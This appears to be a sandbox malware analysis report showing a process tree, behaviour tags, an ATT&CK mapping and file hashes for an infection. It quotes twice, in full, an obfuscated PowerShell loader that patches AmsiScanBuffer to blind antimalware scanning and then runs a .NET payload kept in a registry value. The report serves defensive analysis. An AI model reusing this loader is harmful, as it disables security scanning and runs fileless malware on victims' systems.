$_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+''+[Char](115)+''+[Char](116)+'e'+[Char](109)+'.'+[Char](100)+''+[Char](108)+''+'l'+'')}).GetType(''+[Char](77)+''+'i'+''+[Char](99)+'ro'+[Char](115)+''+[Char](111)+''+[Char](102)+'t'+[Char](46)+'Wi'+[Char](110)+''+'3'+''+[Char](50)+''+'.'+'U'+[Char](110)+''+[Char](115)+''+[Char](97)+''+'f'+''+'e'+'Na'+[Char](116)+''+'i'+''+'v'+''+'e'+''+[Char](77)+''+'e'+''+[Char](116)+'h'+[Char](111)+''+'d'+''+[Char](115)+'');$mbDjVXZdVZrUOQ=$djFArywnQCBzZ.GetMethod(''+[Char](71)+''+'e'+''+'t'+''+[Char](80)+''+'r'+''+[Char](111)+''+[Char](99)+''+[Char](65)+'d'+'d'+''+'r'+''+[Char](101)+'s'+[Char](115)+'',[Reflection.BindingFlags](''+'P'+'u'+'b'+''+[Char](108)+'i'+'c'+','+[Char](83)+''+'t'+''+[Char](97)+''+[Char](116)+''+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$KGwNZANeUUdzNwiBMbG=wFrZwJCzqqaH @([String])([IntPtr]);$mdHfOXoIjqQhIozHLyRRXc=wFrZwJCzqqaH @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$sjBcfYSbTvt=$djFArywnQCBzZ.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+'M'+[Char](111)+''+[Char](100)+''+'u'+'l'+[Char](101)+''+[Char](72)+''+[Char](97)+''+[Char](110)+''+'d'+''+[Char](108)+'e').Invoke($Null,@([Object](''+'k'+''+[Char](101)+'r'+'n'+''+[Char](101)+''+'l'+''+[Char](51)+''+[Char](50)+'.'+[Char](100)+''+'l'+''+[Char](108)+'')));$WyEpHzxtyaibei=$mbDjVXZdVZrUOQ.Invoke($Null,@([Object]$sjBcfYSbTvt,[Object](''+[Char](76)+''+[Char](111)+'a'+[Char](100)+''+'L'+''+'i'+''+[Char](98)+''+'r'+''+[Char](97)+'r'+'y'+'A')));$RAGgUETCHkqZvyboZ=$mbDjVXZdVZrUOQ.Invoke($Null,@([Object]$sjBcfYSbTvt,[Object]('V'+[Char](105)+''+[Char](114)+''+[Char](116)+'u'+'a'+'l'+[Char](80)+''+'r'+''+'o'+'t'+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$Czerfmh=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WyEpHzxtyaibei,$KGwNZANeUUdzNwiBMbG).Invoke('ams'+[Char](105)+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'');$mGkYQceNodRBjUCKL=$mbDjVXZdVZrUOQ.Invoke($Null,@([Object]$Czerfmh,[Object](''+'A'+''+'m'+''+'s'+''+'i'+''+[Char](83)+''+[Char](99)+''+'a'+'n'+[Char](66)+''+[Char](117)+''+[Char](102)+''+'f'+'e'+[Char](114)+'')));$DjTkAjQjmr=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RAGgUETCHkqZvyboZ,$mdHfOXoIjqQhIozHLyRRXc).Invoke($mGkYQceNodRBjUCKL,[uint32]8,4,[ref]$DjTkAjQjmr);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$mGkYQceNodRBjUCKL,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RAGgUETCHkqZvyboZ,$mdHfOXoIjqQhIozHLyRRXc).Invoke($mGkYQceNodRBjUCKL,[uint32]8,0x20,[ref]$DjTkAjQjmr);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+'W'+'AR'+[Char](69)+'').GetValue(''+[Char](68)+''+[Char](101)+''+'a'+''+'d'+''+[Char](115)+''+'t'+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1584 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:1324
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE" "function Local:afoPuuuIwOdN{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$ACrqrBCfQZlnvU,[Parameter(Position=1)][Type]$qQzcqvvBdw)$HSJBocEXbnu=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+'f'+''+[Char](108)+''+[Char](101)+''+[Char](99)+''+'t'+''+[Char](101)+''+'d'+'D'+'e'+''+'l'+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+[Char](101)+'m'+[Char](111)+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+'o'+'du'+[Char](108)+''+'e'+'',$False).DefineType(''+[Char](77)+''+'y'+''+[Char](68)+'e'+[Char](108)+''+[Char](101)+''+[Char](103)+'a'+'t'+''+[Char](101)+''+[Char](84)+'ype',''+[Char](67)+''+[Char](108)+'a'+[Char](115)+''+[Char](115)+','+[Char](80)+''+'u'+'bl'+[Char](105)+'c,'+[Char](83)+''+[Char](101)+'a'+[Char](108)+''+'e'+''+[Char](100)+''+[Char](44)+''+[Char](65)+''+[Char](110)+''+'s'+''+'i'+''+[Char](67)+''+'l'+''+[Char](97)+'s'+'s'+''+[Char](44)+''+'A'+''+[Char](117)+'t'+[Char](111)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+'s',[MulticastDelegate]);$HSJBocEXbnu.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+'pe'+[Char](99)+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+[Char](78)+'am'+'e'+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+'e'+[Char](66)+''+'y'+''+'S'+''+'i'+''+[Char](103)+''+[Char](44)+''+[Char](80)+'u'+'b'+''+[Char](108)+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$ACrqrBCfQZlnvU).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+'i'+[Char](109)+''+[Char](101)+''+[Char](44)+''+'M'+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+'e'+[Char](100)+'');$HSJBocEXbnu.DefineMethod(''+'I'+''+[Char](110)+''+[Char](118)+''+[Char](111)+'ke',''+[Char](80)+'ub'+'l'+''+[Char](105)+'c'+[Char](44)+''+[Char](72)+''+[Char](105)+'d'+[Char](101)+'B'+[Char](121)+''+'S'+''+'i'+''+'g'+''+[Char](44)+'N'+[Char](101)+'wS'+[Char](108)+''+[Char](111)+''+[Char](116)+''+[Char](44)+''+'V'+''+'i'+''+[Char](114)+''+'t'+'u'+[Char](97)+''+'l'+'',$qQzcqvvBdw,$ACrqrBCfQZlnvU).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+'i'+''+[Char](109)+''+[Char](101)+',M'+[Char](97)+'n'+'a'+''+'g'+''+[Char](101)+'d');Write-Output $HSJBocEXbnu.CreateType();}$ARidwaaxwMxXs=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+'s'+[Char](116)+''+'e'+''+[Char](109)+'.d'+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+'c'+''+[Char](114)+''+[Char](111)+''+'s'+''+[Char](111)+'f'+'t'+''+[Char](46)+'W'+'i'+''+[Char](110)+''+'3'+''+'2'+''+[Char](46)+''+'U'+''+[Char](110)+''+[Char](115)+''+'a'+''+[Char](102)+''+[Char](101)+''+[Char](78)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+'v'+''+[Char](101)+''+'M'+''+[Char](101)+''+'t'+''+[Char](104)+''+'o'+''+'d'+'s');$NSgKzzRrXBhEHc=$ARidwaaxwMxXs.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+'P'+[Char](114)+''+[Char](111)+''+[Char](99)+'Ad'+'d'+''+[Char](114)+''+[Char](101)+''+[Char](115)+''+'s'+'',[Reflection.BindingFlags](''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+','+[Char](83)+''+[Char](116)+''+[Char](97)+''+'t'+'i'+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$TdOcYFmnPMbBLJQPZlD=afoPuuuIwOdN @([String])([IntPtr]);$IxLNcnxHhhaiCFjEaVcHzH=afoPuuuIwOdN @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$PgXJztRNKAq=$ARidwaaxwMxXs.GetMethod(''+'G'+'e'+[Char](116)+''+[Char](77)+''+'o'+'d'+[Char](117)+''+[Char](108)+''+[Char](101)+''+[Char](72)+''+'a'+'n'+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+'r'+'n'+''+'e'+''+[Char](108)+''+[Char](51)+'2'+[Char](46)+''+[Char](100)+'l'+[Char](108)+'')));$gsQgXsJVbtyQeC=$NSgKzzRrXBhEHc.Invoke($Null,@([Object]$PgXJztRNKAq,[Object](''+[Char](76)+''+[Char](111)+''+'a'+'dL'+[Char](105)+''+[Char](98)+''+[Char](114)+''+'a'+'r'+'y'+''+[Char](65)+'')));$hXizjEgBBTOjQmgVV=$NSgKzzRrXBhEHc.Invoke($Null,@([Object]$PgXJztRNKAq,[Object](''+[Char](86)+'i'+[Char](114)+''+[Char](116)+''+'u'+''+[Char](97)+''+'l'+''+[Char](80)+'r'+'o'+''+'t'+''+'e'+''+[Char](99)+'t')));$TqtpUcT=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($gsQgXsJVbtyQeC,$TdOcYFmnPMbBLJQPZlD).Invoke('a'+[Char](109)+'s'+[Char](105)+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'');$tXlNLAmOyWKiqJiQx=$NSgKzzRrXBhEHc.Invoke($Null,@([Object]$TqtpUcT,[Object](''+'A'+'m'+'s'+'iS'+[Char](99)+'a'+[Char](110)+''+[Char](66)+''+[Char](117)+'f'+[Char](102)+'e'+[Char](114)+'')));$GLiCEpAGSM=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($hXizjEgBBTOjQmgVV,$IxLNcnxHhhaiCFjEaVcHzH).Invoke($tXlNLAmOyWKiqJiQx,[uint32]8,4,[ref]$GLiCEpAGSM);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$tXlNLAmOyWKiqJiQx,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($hXizjEgBBTOjQmgVV,$IxLNcnxHhhaiCFjEaVcHzH).Invoke($tXlNLAmOyWKiqJiQx,[uint32]8,0x20,[ref]$GLiCEpAGSM);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+'A'+''+[Char](82)+''+[Char](69)+'').GetValue('D'+[Char](101)+'a'+'d'+''+[Char](115)+'t'+[Char](97)+''+[Char](103)+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2480 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:772
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1436
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1484
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1512
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1540
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1564
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:3212
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1632
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1724
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1796
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1804
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1928
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1220
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1360
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1384
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1792
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:2108
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2204
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2296
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2364
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2412
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2596
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2604
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵PID:2716
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
- Enumerates connected drives
PID:2800
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2828
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2852
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2864
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:2612
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:3296
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:3452
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3620
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
PID:3696 -
C:\Users\Admin\AppData\Local\Temp\5.exe"C:\Users\Admin\AppData\Local\Temp\5.exe"2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3176 -
C:\Users\Admin\AppData\Local\Temp\DeadMmxq.exe"C:\Users\Admin\AppData\Local\Temp\DeadMmxq.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4744
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C:\Users\Admin\AppData\Local\Temp\DeadMmxq.exe"C:\Users\Admin\AppData\Local\Temp\DeadMmxq.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4648
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C:\Users\Admin\AppData\Local\Temp\DeadR.exe"C:\Users\Admin\AppData\Local\Temp\DeadR.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4352
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C:\Users\Admin\AppData\Local\Temp\DeadR.exe"C:\Users\Admin\AppData\Local\Temp\DeadR.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4492
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C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /42⤵
- Checks SCSI registry key(s)
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4528
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3828
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:528
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4172
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4384
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:1112
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:2840
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:2012
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵PID:2240
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:4124
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:2384
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:3168
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:1160
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C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe" -ServerName:InputApp.AppXk0k6mrh4r2q0ct33a9wgbez0x7v9cz5y.mca1⤵PID:3232
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:924
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C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe 069cef3fa10fddff04c4e4b93986b605 Gzb+hhDYMUGNDwGgZtdrOw.0.1.0.0.01⤵
- Sets service image path in registry
- Modifies data under HKEY_USERS
PID:4628 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV12⤵PID:2356
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:64
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Writes to the Master Boot Record (MBR)
- Suspicious behavior: EnumeratesProcesses
PID:2072
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C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵
- Drops file in Windows directory
PID:3004
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵PID:1356
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C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding1⤵
- Checks processor information in registry
- Modifies data under HKEY_USERS
PID:4952
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}1⤵PID:2876
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C:\Windows\System32\smartscreen.exeC:\Windows\System32\smartscreen.exe -Embedding1⤵PID:3380
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Pre-OS Boot
1Bootkit
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Defense Evasion
Indicator Removal
1Clear Windows Event Logs
1Modify Registry
1Pre-OS Boot
1Bootkit
1Replay Monitor
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Downloads
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Filesize
5KB
MD5fc1ad067c479cd708091b5589daad50d
SHA18543a46cf213bca2a05d315d940121caa17dbbb5
SHA256e5dce907da4cba036a097d602f88190ea5965fe0396032ae37cd5123e43ec4c4
SHA512ab70a5066dfe647d46e5348581899f63c136d165fe52a24700dc44aee1edd2259a47842318a0d28f76350b387b205fc1e4006b21ef1ea33a1ff5b6207996c738
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Filesize
31KB
MD54846c3d667fad5ac518196fbbd7edfb6
SHA145af67cf4f1b0fecd4311c73ad37052613e27344
SHA25602af5bf1358466c9c5189058e13a7d5860123ee2933a854ca528a8622d4bbf08
SHA51272f79e2a05c07db71bd1b5615a701bfa63e62c83d52a283df0ed087f5fa30eb909689d08973a8187e2b50250513efd2f85b8c1dac7637434334bee717647ab13
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Filesize
151KB
MD5b8479a23c22cf6fc456e197939284069
SHA1b2d98cc291f16192a46f363d007e012d45c63300
SHA25618294ee5a6383a48d1bcf2703f17d815529df3a17580e027c3efea1800900e8f
SHA512786cd468ce3723516dc869b09e008ec5d35d1f0c1a61e70083a3be15180866be637bd7d8665c2f0218c56875a0ee597c277e088f77dd403bdd2182d06bad3bd4
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Filesize
2KB
MD54ac1741ceb19f5a983079b2c5f344f5d
SHA1f1ebd93fbade2e035cd59e970787b8042cdd0f3b
SHA2567df73f71214cdd2f2d477d6c2c65f6e4c2f5955fc669cde9c583b0ff9553ecdc
SHA512583706069a7c0b22926fa22fc7bedcca9d6750d1542a1125b688fbb0595baf6cefc76e7b6e49c1415c782a21d0dd504c78fa36efad5f29f2fd5d69cc45ad8dcd
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Filesize
2KB
MD5a9124c4c97cba8a07a8204fac1696c8e
SHA11f27d80280e03762c7b16781608786f5a98ff434
SHA2568ad3d28aeff847bc5fb8035cbc7c71e88a4ee547821a8e1a3ea6661ee6014b21
SHA512537caaa75ac1e257c6b247f9680c3b9e79156ea1bcb3f1326e969a774db33b3c906800813ca6f79369c799a62f4260c91c6dd9a6cace3af25b7dbea5a73e0392
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82